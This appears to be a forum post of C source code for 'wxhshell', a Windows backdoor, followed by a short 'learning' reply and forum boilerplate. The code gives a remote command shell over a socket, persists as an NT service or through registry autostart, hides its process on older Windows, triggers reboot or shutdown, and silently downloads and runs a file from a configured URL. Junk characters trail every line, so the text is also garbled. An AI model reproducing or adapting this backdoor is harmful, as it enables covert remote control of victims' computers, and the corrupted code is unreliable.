  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SmRU!C$A  
  } T$+}Srb  
  else { 'SuYNA)  
7`P(LQAr!  
    switch(cmd[0]) { &)wQ|{P~k  
  v7g-M  
  // 帮助 C[[z3tn  
  case '?': { q-uYfXZ{j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y(q1~73s  
    break; ]CTu |  
  } jx-W$@  
  // 安装 K%Rx5 S  
  case 'i': { ' rXkTm1{  
    if(Install()) r^]0LJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &^z~wJ,]  
    else G;tIhq[$Vb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lte~26=e  
    break; 44n^21k  
    } t4,6`d?C  
  // 卸载 zJ#q*2A(Z  
  case 'r': { MRiETd"  
    if(Uninstall()) ysSEgC3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q:%gJ6pa  
    else <8H`y(S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [jafPi(#g  
    break; c|I{U[(U  
    } xOS4J+'s@  
  // 显示 wxhshell 所在路径 LEk W^Mv  
  case 'p': { ost~<4~  
    char svExeFile[MAX_PATH]; |vGz 1jLV  
    strcpy(svExeFile,"\n\r"); NjMo"1d  
      strcat(svExeFile,ExeFile); 9g>ay-W[(  
        send(wsh,svExeFile,strlen(svExeFile),0); 0C0iAp  
    break; PI }A')Nq.  
    } $o-s?";  
  // 重启 73P(oVj<  
  case 'b': { YRB,jwne  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SA}]ZK P  
    if(Boot(REBOOT)) MF=@PE][  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $rf5\_G,96  
    else { ==c\* o  
    closesocket(wsh); vZ|m3;X  
    ExitThread(0); Bm^vKzp  
    } {y :/9  
    break; 7|H !(a'  
    } 2&P'rmFm  
  // 关机 fLPB *y6  
  case 'd': { 3:S Ex;d+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |3vQmd !2}  
    if(Boot(SHUTDOWN)) * \f(E#wa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;@Ls "+g  
    else { uI+h9j$vS  
    closesocket(wsh); (3W<yAM+  
    ExitThread(0); [ UQzCqV  
    } *-g S u  
    break; +   
    } _4.fT  
  // 获取shell j# o0y5S  
  case 's': { qA&N6`  
    CmdShell(wsh); tR*J M$T  
    closesocket(wsh); Z~$fTW6g  
    ExitThread(0); zX|CW;  
    break; VNaa(Q  
  } tZ4W]od  
  // 退出 )PR{ia64;<  
  case 'x': { $T~|@XH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $UKV2c  
    CloseIt(wsh); qksN {t  
    break; \9<aCJxN  
    } mM>{^%2Q:  
  // 离开 #j'O rD  
  case 'q': { hCc I >[H5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kE/>Ys@w  
    closesocket(wsh); C S+6!F]  
    WSACleanup(); *h$Dh5%P  
    exit(1); 4km=KOx[  
    break; c7S<ex,  
        } f |aO9w   
  } / [:@j+n\  
  } ^- mz!{  
T|r@:t[  
  // 提示信息 S+_}=25  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tOS%.0W5J  
} HuCH`|v-  
  } i3N _wv{  
rAk*~OK  
  return; ' ^n2]<  
} EcFYP"{U  
J*qepq`_  
// shell模块句柄 HIeWgw^"  
int CmdShell(SOCKET sock) +#n5w8T)M  
{ miEfxim  
STARTUPINFO si; =]&R6P>  
ZeroMemory(&si,sizeof(si)); J7_'@zU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3,W2CN}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Peh( *D{  
PROCESS_INFORMATION ProcessInfo; $0NWX  
char cmdline[]="cmd"; CQQX7Y\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,~%Qu~\  
  return 0; -7hU1j~I  
} <HI5xB_  
NZmmO )p4  
// 自身启动模式 6D@tCmmq  
int StartFromService(void) 'd(OFE-hn  
{ KhYGiVA  
typedef struct 1KAA(W;nq  
{ &KX|gB'  
  DWORD ExitStatus; vD^^0-Pk6  
  DWORD PebBaseAddress; 5fSDdaO  
  DWORD AffinityMask; 6D6=5!l  
  DWORD BasePriority; 0X~Dxs   
  ULONG UniqueProcessId; ':kBHCR7  
  ULONG InheritedFromUniqueProcessId; ;"wU+  
}   PROCESS_BASIC_INFORMATION; p~$\@8@  
p~DlZk"  
PROCNTQSIP NtQueryInformationProcess; '&'? S  
;F"W6G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'P39^rb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q$0^U{j/  
6t<~. 2'  
  HANDLE             hProcess; Ilsh Jo  
  PROCESS_BASIC_INFORMATION pbi; `yNNpSdS1  
>{$ ;O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &(IL`%  
  if(NULL == hInst ) return 0; |C\g3N-  
45W:b/n\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7f~DD8R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (;+ JM*c2N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [p_R?2uT  
$BwWhR  
  if (!NtQueryInformationProcess) return 0; lTDF5.aE  
\$<kJ|| lS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y[X5S{H`wj  
  if(!hProcess) return 0; cg}46)^<QH  
JIjqGxR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 84cmPnaT  
KSc&6UVz^  
  CloseHandle(hProcess); QaUh+k<6  
&B/cy<;y,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *<OWd'LI  
if(hProcess==NULL) return 0; w[n|Sauy,  
p$0;~1vH  
HMODULE hMod; 6WzE'0Nyr  
char procName[255]; VgN`' iC`I  
unsigned long cbNeeded; VABrw t  
gh['T,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  QSmE:Y  
*B#<5<T  
  CloseHandle(hProcess); 5MO:hE5sm  
BAx)R6kS;  
if(strstr(procName,"services")) return 1; // 以服务启动 GL.& g{$#+  
fI t:eKHr  
  return 0; // 注册表启动 s"=e (ob  
} uZW ?0W  
U]@t\T3W  
// 主模块 4Q,HhqV'  
int StartWxhshell(LPSTR lpCmdLine) nZ$,Bjb  
{ iEsI  
  SOCKET wsl; 8n,i5>!d  
BOOL val=TRUE; Z"mpE+U*  
  int port=0; /1gKc}rB2  
  struct sockaddr_in door;  7=6p  
VQ$=F8ivG  
  if(wscfg.ws_autoins) Install(); mdoy1a  
\4bma<~a  
port=atoi(lpCmdLine); 0 jVuF l  
?k<wI)JR  
if(port<=0) port=wscfg.ws_port; GmcxN<  
O_FT@bo\  
  WSADATA data; .KIAeCvl\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q4Hf!v]r  
pz:$n_XC}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0v,DQJ?w8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 44 o5I:  
  door.sin_family = AF_INET; I`5F& 8J{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L`V6\Ix(I  
  door.sin_port = htons(port); o`DBzC  
i/, G=yA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VX[{X8PkS  
closesocket(wsl); ? Ls]k  
return 1; ~bWqoJ;Q  
} ;KbnaUAS8  
w(k7nGU]  
  if(listen(wsl,2) == INVALID_SOCKET) { X6N^<Z$  
closesocket(wsl);  4O[5,  
return 1; k(3 s^B  
} uY5f mM9  
  Wxhshell(wsl); AA^3P?iD  
  WSACleanup(); QtW5; A-h  
/ZvNgaH5M  
return 0; 13}=;4O  
~g;(` g  
} t/u$Ts  
.Xg%><{~  
// 以NT服务方式启动 OE}L})"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s<sqO,!  
{ +0^N#0)  
DWORD   status = 0; L&Qdb xn  
  DWORD   specificError = 0xfffffff;  UY+~,a  
+VAfT\G2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; * ,_Qdr^F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oYup*@t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %_@8f|# ,M  
  serviceStatus.dwWin32ExitCode     = 0; 4_F<jx,G  
  serviceStatus.dwServiceSpecificExitCode = 0; bqS*WgMY-  
  serviceStatus.dwCheckPoint       = 0; /:z}WAW  
  serviceStatus.dwWaitHint       = 0;  sFx $  
 h%E25in  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ' f}^/`J  
  if (hServiceStatusHandle==0) return; X`.4byqdK  
< ;Qle  
status = GetLastError(); n?YGX W/  
  if (status!=NO_ERROR) ]Q6,,/nn  
{ RD=!No?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8:huWjh]M  
    serviceStatus.dwCheckPoint       = 0; kD >|e<}\  
    serviceStatus.dwWaitHint       = 0; SdnqM`uFo  
    serviceStatus.dwWin32ExitCode     = status; ?Xlmt$Jp  
    serviceStatus.dwServiceSpecificExitCode = specificError; rw ^^12)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :uu\q7@'  
    return; 1k-^LdDj  
  } nm*1JA.:  
{S~2m2up0L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [77]0V7  
  serviceStatus.dwCheckPoint       = 0; =uKK{\+|Y  
  serviceStatus.dwWaitHint       = 0; RRV@nDf   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZZ]/9oiF%  
} E$ F)z  
bpzB}nEp  
// 处理NT服务事件,比如:启动、停止 $O%lYQY]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B5=L</Aj  
{ 29,`2fFr  
switch(fdwControl) v\n!Li H  
{ zOg#=ql  
case SERVICE_CONTROL_STOP: ]^8:"Ky'  
  serviceStatus.dwWin32ExitCode = 0; ky#<\K1}'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3543[W#a  
  serviceStatus.dwCheckPoint   = 0; {pd%I  
  serviceStatus.dwWaitHint     = 0; <*8nv.PX*  
  { %vxd($Ti"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Q#hanh_`  
  } ?9Fv0-g&n  
  return; 9P{5bG0o8  
case SERVICE_CONTROL_PAUSE: l1gAm#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FT[wa-b  
  break; U5dJ=G  
case SERVICE_CONTROL_CONTINUE: y!blp>V6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N95"dNZE  
  break; U87VaUr  
case SERVICE_CONTROL_INTERROGATE: *h@nAB\3  
  break; <saS2.4  
}; )#xd]~ <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ }U{O A  
} : b $ M  
;yBq'_e3  
// 标准应用程序主函数 !+U#^2Gz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ENA8o}n  
{ 9} eIidwK  
q>]v~  
// 获取操作系统版本 UF D_  
OsIsNt=GetOsVer(); ;=_<\2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C]A*B  
N]KqSpPh  
  // 从命令行安装 Q]{DhDz ?+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7yeZ+lD  
iMk`t:!;#"  
  // 下载执行文件 e7]IEBbX2O  
if(wscfg.ws_downexe) { S8.nM}x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qW?^_  
  WinExec(wscfg.ws_filenam,SW_HIDE); yw#P<8{/[  
} Sn7.KYS  
Wj8\~B=('  
if(!OsIsNt) { ]r'b(R; S  
// 如果时win9x,隐藏进程并且设置为注册表启动 D 67H56[  
HideProc(); ?#,\,  
StartWxhshell(lpCmdLine); \<i#Jn+)  
} '9$xOrv  
else wUh'1D<(r  
  if(StartFromService()) |Ro\2uSr  
  // 以服务方式启动 ;6fkG/T  
  StartServiceCtrlDispatcher(DispatchTable); SY>N-fW\H:  
else je_77G(F  
  // 普通方式启动 nUd(@@%m  
  StartWxhshell(lpCmdLine); l*B;/ >nR  
'G@Npp)&^  
return 0; goRoi\z $  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八